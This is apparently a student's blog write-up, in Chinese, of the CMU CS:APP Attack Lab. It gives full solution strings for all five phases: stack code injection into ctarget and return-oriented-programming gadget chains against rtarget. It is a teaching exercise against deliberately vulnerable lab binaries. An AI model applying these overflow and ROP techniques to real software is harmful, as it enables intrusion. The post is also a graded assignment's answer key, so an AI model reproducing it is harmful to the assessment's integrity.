CS:APP Attack Lab 缓冲区溢出攻击

2018-12-08

学校的计算机系统课用的是 CMU 的教材,刚好做到了缓冲区溢出的实验,所以为了博客文章+1学术交流,在这里记录一下解题过程。操作环境是学校服务器的 Ubuntu 16.04.5 LTS,实验所用程序均为 64 位版本。

准备工作

先做一些准备工作。事先反汇编好两个 target 文件,然后把 cookie.txt 中的值记录下来,作为我们解题需要的关键信息。

~$ cd target102
~/target102$ objdump -d ctarget > ctarget.s
~/target102$ objdump -d rtarget > rtarget.s
~/target102$ cat cookie.txt
0x32046301

由于整个实验都是围绕着一个输入函数展开的,我们先来了解一下其源代码:

void test() {
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

由于 getbuf 函数并不会检查输入的字符串是否超出了缓冲区的大小,所以也就给我们进行注入提供了可能性。

万事俱备,可以开始解题了。

Phase_1

先来看看第一关要触发的 touch1 函数:

void touch1() {
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

所以第一关只需要利用缓冲区溢出「顶替」掉原有的函数返回地址即可,而我们用来冒名顶替的对象,就是第一关要求我们触发的 touch1 函数地址。所以现在我们要确定两个东西:

  1. 缓冲区在栈中的确切大小,以便我们准备溢出字符进行攻击。
  2. touch1 函数的地址。

用 gdb 打开 ctarget,在 getbuf 这个输入函数处设置断点,我们可以看到如下汇编代码:

栈顶指针减去 0x18 意味着我们的缓冲区空间大小为十进制的 24 个字节,结合查看 %rsp 中的内容,我们可以推测出整个缓冲区的空间为从 0x556694a80x556694c0 的 24 Bytes 空间。

接着我们通过反汇编 ctarget 得到的汇编文件,查找到了 touch1 的起始地址为 0x401770

所以第一关的答案即为:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
70 17 40 00 00 00 00 00

Phase_2

touch2 函数的代码:

void touch2(unsigned val) {
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

第二关与第一关的区别在于,触发的函数 touch2 需要一个参数,参数的内容即为我们先前拿到的 cookie 值,所以在触发 touch2 之前,我们需要将 0x32046301 先放入寄存器 %rdi 中。自己动手丰衣足食,我们要将这宝贵的 24 个字节的空间利用起来,插入我们自己写的汇编代码来完成此操作。

mov $0x32046301, %rdi
ret

将这段汇编代码译成机器码即为 48 c7 c7 01 63 04 32 c3。接着,结合上一题我们得到的信息,缓冲区是从 0x556694a8 开始的,所以我们将自己的代码放入缓冲区的最开始,然后再利用溢出把原有的返回地址改成我们代码的起始地址即 0x556694a8,程序就会跳到我们的指令开始执行。最后,只要把 touch2 的地址放在下一个栈顶即可。所以第二关的答案为:

48 c7 c7 01 63 04 32 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a8 94 66 55 00 00 00 00
9c 17 40 00 00 00 00 00

Phase_3

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval) {
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

通过阅读 touch3 的代码我们知道这次需要我们传入的不是 cookie 的值本身了,而是其字符串表示,所以首先需要将 0x32046301 译成 16 进制的 ASCii 码:33 32 30 34 36 33 30 31。但这里需要注意,字符串是均以 00 作为结尾的,所以应该写成:33 32 30 34 36 33 30 31 00。同上一题的思路,我们一开始可能会将本题的答案写成这样:

48 c7 c7 b8 94 66 55 c3 //mov $0x556694b8,%rdi ret
33 32 30 34 36 33 30 31 00
00 00 00 00 00 00 00
a8 94 66 55 00 00 00 00
70 18 40 00 00 00 00 00

结果运行后并不能成功,那么问题出在哪了?通过阅读实验的讲义和 hex2raw 这个程序的代码,我们会发现,缓冲区中的空间并不是一成不变的,随着程序的运行,不同的操作都可能会在不同程度上影响缓冲区中的内容,所以将 cookie 放在缓冲区里存储并读取的操作并不可行。因此我们只好利用缓冲区以外的栈内容了,这时可以考虑用 lea 这个命令来将存储在缓冲区外的 cookie 地址放入 %rdi 中。所以第三关答案为:

48 8d 7c 24 10 c3 00 00 //lea 0x10(%rsp),%rdi ret
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a8 94 66 55 00 00 00 00
70 18 40 00 00 00 00 00
00 00 00 00 00 00 00 00
33 32 30 34 36 33 30 31 00

Phase_4

从这一关开始,我们要使用 rtarget 作为攻击目标来进行实验,不同于 ctarget,rtarget 开启了两类栈保护机制,使得我们的攻击更难入手了。

  • 随机化栈地址。也就是说我们无法像上面三道题一样,确切的了解到缓冲区的起始与终止地址了,这样一来我们也就没办法随意的利用缓冲区空间来存储相关的信息了。
  • 栈不可执行。程序运行时会将栈设置为不可执行,也就意味着我们即便插入了自己写的代码,栈也不会执行它,只会把它当成普通的数字进行处理。

有这两个门神加持,我们的攻击是否就无法入手了呢?显然不是。如果不能自己安插「奸细」的话,我们还可以利用「内鬼」。

查看 rtarget 的代码,我们可以看到许多形如这样的函数:

仔细观察的话我们可以发现,0x40191f 处的指令连起来的意思是将 0x909058c2 的放入到 %rdi 所指内存中,然后返回。但如果我们断章取义一下,从 0x401922 处开始看起,58 90 90 c3 就成了将栈顶指针出栈到 %rax 中然后返回,即 popq %rax ret

通过对比机器指令表,我们会发现 rtarget 其实有很多拥有二义性的指令可以为我们所用:

利用机器指令这样的二义性,我们可以利用程序中本身就存在的代码,来达到我们的目的。通过搜寻 rtarget 中类似的内鬼,我们可以在栈中写出如下的代码,来完成触发 touch2 所需要的操作。

popq %rax
cookie
movq %rax,%rdi
call touch2

一一对应到程序中「内鬼」所在的地址,我们得到了第四关的答案:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
22 19 40 00 00 00 00 00 //pop 指令所在处
01 63 04 32 00 00 00 00 //要出栈给 %rax 的 cookie
27 19 40 00 00 00 00 00 //mov 指令所在处
9c 17 40 00 00 00 00 00 //touch2 地址

Phase_5

第五关和第四关大同小异,只不过需要利用的「内鬼」变多了一些,因为我们要利用有限的指令在缓冲区外完成将 cookie 的 ASCii 值赋给 %rdi 这个操作,经过一番搜寻和拼凑,我们可以组成如下的代码:

mov %rsp, %rax
mov %rax, %rdi
pop %rax
0x48 //偏置值,即后来 %rsi 代表的内容,由于栈指针是在第一条被保存起来的,和位于最后的 cookie 位置偏差了 72 个字节,故此处为 0x48
mov %eax, %ecx
mov %ecx, %edx
mov %edx, %esi
lea (%rdi, %rsi, 1), %rax
mov %rax, %rdi
call touch3
cookie

转换成指令相应的地址,我们就得到了最后的答案:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
4d 19 40 00 00 00 00 00
27 19 40 00 00 00 00 00
22 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
5b 19 40 00 00 00 00 00
46 19 40 00 00 00 00 00
62 19 40 00 00 00 00 00
38 19 40 00 00 00 00 00
27 19 40 00 00 00 00 00
70 18 40 00 00 00 00 00
33 32 30 34 36 33 30 31 00
Tagged in : CS:APP CMU Buffer Overflow